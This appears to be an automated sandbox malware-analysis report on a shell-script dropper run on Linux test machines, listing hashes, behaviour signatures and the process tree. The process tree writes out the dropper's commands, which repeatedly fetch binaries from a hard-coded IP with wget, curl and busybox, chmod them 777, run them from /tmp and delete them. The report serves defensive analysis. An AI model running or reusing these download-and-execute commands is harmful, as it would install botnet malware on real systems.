Analysis
- max time kernel
15s - max time network
17s - platform
debian-9_armhf - resource
debian9-armhf-20240418-en - resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/11/2024, 05:56
Static task
static1
Behavioral task
behavioral1
Sample
70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
Resource
debian9-mipsel-20240226-en
General
- Target 70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
- Size 10KB
- Sample241102-gm3wpazfqp
- SHA256 70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e
- MD5 92818865aa1dc6bd2f591e45f5a7c5d0
- SHA1 9c8d94fa0e6b6e97b47654ed36275ecd307f605f
- SHA512 dad32a1ff8bc0d35e257386081952bd2b6c7ee1d6712826ec6f401f5626314205cdf43d63c9669070232010fc066b6e41fa7b7204d68873f611f13684daa53cf
- SSDEEP 192:/198hXTCnHLUXP02OKAUzHLUXPpK198hXTWA:UQnHLUXP02dAUzHLUXPR4A
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 730 chmod 758 chmod 792 chmod 804 chmod 816 chmod 822 chmod 685 chmod 708 chmod 744 chmod 779 chmod 798 chmod 810 chmod 674 chmod - Executes dropped EXE 13 IoCs
ioc pid Process /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ 676 NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ /tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j 687 sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j /tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di 710 Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di /tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR 732 UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR /tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar 745 yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar /tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW 759 E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW /tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY 780 EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY /tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu 793 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu /tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d 799 FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d /tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc 805 kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc /tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj 811 uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj /tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU 817 QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU /tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO 823 Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO - Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl - Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j curl File opened for modification /tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR curl File opened for modification /tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar curl File opened for modification /tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY curl File opened for modification /tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu curl File opened for modification /tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc curl File opened for modification /tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU curl File opened for modification /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ curl File opened for modification /tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW curl File opened for modification /tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d curl File opened for modification /tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj curl File opened for modification /tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO curl File opened for modification /tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di curl
Processes
-
/tmp/70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh/tmp/70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh1⤵PID:642
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/bin/rm/bin/rm bins.sh2⤵PID:644
-
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/usr/bin/wgetwget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵PID:647
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:665
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵PID:672
-
-
/bin/chmodchmod 777 NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵
- File and Directory Permissions Modification
PID:674
-
-
/tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ./NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵
- Executes dropped EXE
PID:676
-
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/bin/rmrm NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ2⤵PID:677
-
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/usr/bin/wgetwget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵PID:678
-
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/usr/bin/curlcurl -O http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:679
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵PID:680
-
-
/bin/chmodchmod 777 sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵
- File and Directory Permissions Modification
PID:685
-
-
/tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j./sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵
- Executes dropped EXE
PID:687
-
-
/bin/rmrm sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j2⤵PID:688
-
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/usr/bin/wgetwget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵PID:690
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:697
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵PID:703
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/bin/chmodchmod 777 Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵
- File and Directory Permissions Modification
PID:708
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-
/tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di./Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵
- Executes dropped EXE
PID:710
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/bin/rmrm Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di2⤵PID:711
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/usr/bin/wgetwget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵PID:712
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-
/usr/bin/curlcurl -O http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:717
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵PID:724
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/bin/chmodchmod 777 UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵
- File and Directory Permissions Modification
PID:730
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/tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR./UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵
- Executes dropped EXE
PID:732
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/bin/rmrm UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR2⤵PID:733
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/usr/bin/wgetwget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵PID:734
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/usr/bin/curlcurl -O http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:740
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵PID:743
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/bin/chmodchmod 777 yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵
- File and Directory Permissions Modification
PID:744
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/tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar./yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵
- Executes dropped EXE
PID:745
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/bin/rmrm yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar2⤵PID:746
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/usr/bin/wgetwget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵PID:747
-
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/usr/bin/curlcurl -O http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:748
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵PID:753
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/bin/chmodchmod 777 E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵
- File and Directory Permissions Modification
PID:758
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/tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW./E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵
- Executes dropped EXE
PID:759
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/bin/rmrm E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW2⤵PID:760
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/usr/bin/wgetwget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵PID:761
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/usr/bin/curlcurl -O http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:767
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵PID:774
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/bin/chmodchmod 777 EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵
- File and Directory Permissions Modification
PID:779
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/tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY./EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵
- Executes dropped EXE
PID:780
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/bin/rmrm EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY2⤵PID:781
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/usr/bin/wgetwget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵PID:783
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/usr/bin/curlcurl -O http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:787
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵PID:791
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/bin/chmodchmod 777 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵
- File and Directory Permissions Modification
PID:792
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/tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu./1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵
- Executes dropped EXE
PID:793
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/bin/rmrm 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu2⤵PID:794
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/usr/bin/wgetwget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵PID:795
-
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/usr/bin/curlcurl -O http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:796
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵PID:797
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/bin/chmodchmod 777 FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵
- File and Directory Permissions Modification
PID:798
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/tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d./FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵
- Executes dropped EXE
PID:799
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/bin/rmrm FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d2⤵PID:800
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/usr/bin/wgetwget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵PID:801
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/usr/bin/curlcurl -O http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:802
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵PID:803
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/bin/chmodchmod 777 kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵
- File and Directory Permissions Modification
PID:804
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/tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc./kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵
- Executes dropped EXE
PID:805
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/bin/rmrm kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc2⤵PID:806
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/usr/bin/wgetwget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵PID:807
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/usr/bin/curlcurl -O http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:808
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵PID:809
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/bin/chmodchmod 777 uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵
- File and Directory Permissions Modification
PID:810
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/tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj./uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵
- Executes dropped EXE
PID:811
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/bin/rmrm uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj2⤵PID:812
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/usr/bin/wgetwget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵PID:813
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/usr/bin/curlcurl -O http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:814
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵PID:815
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/bin/chmodchmod 777 QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵
- File and Directory Permissions Modification
PID:816
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/tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU./QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵
- Executes dropped EXE
PID:817
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/bin/rmrm QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU2⤵PID:818
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/usr/bin/wgetwget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵PID:819
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/usr/bin/curlcurl -O http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:820
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵PID:821
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/bin/chmodchmod 777 Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵
- File and Directory Permissions Modification
PID:822
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/tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO./Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵
- Executes dropped EXE
PID:823
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/bin/rmrm Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO2⤵PID:824
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/usr/bin/wgetwget http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH2⤵PID:825
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
- Size 153B
- SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
- MD5 998368d7c95ea4293237f2320546e440
- SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
- SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
- MD5 SHA1 SHA512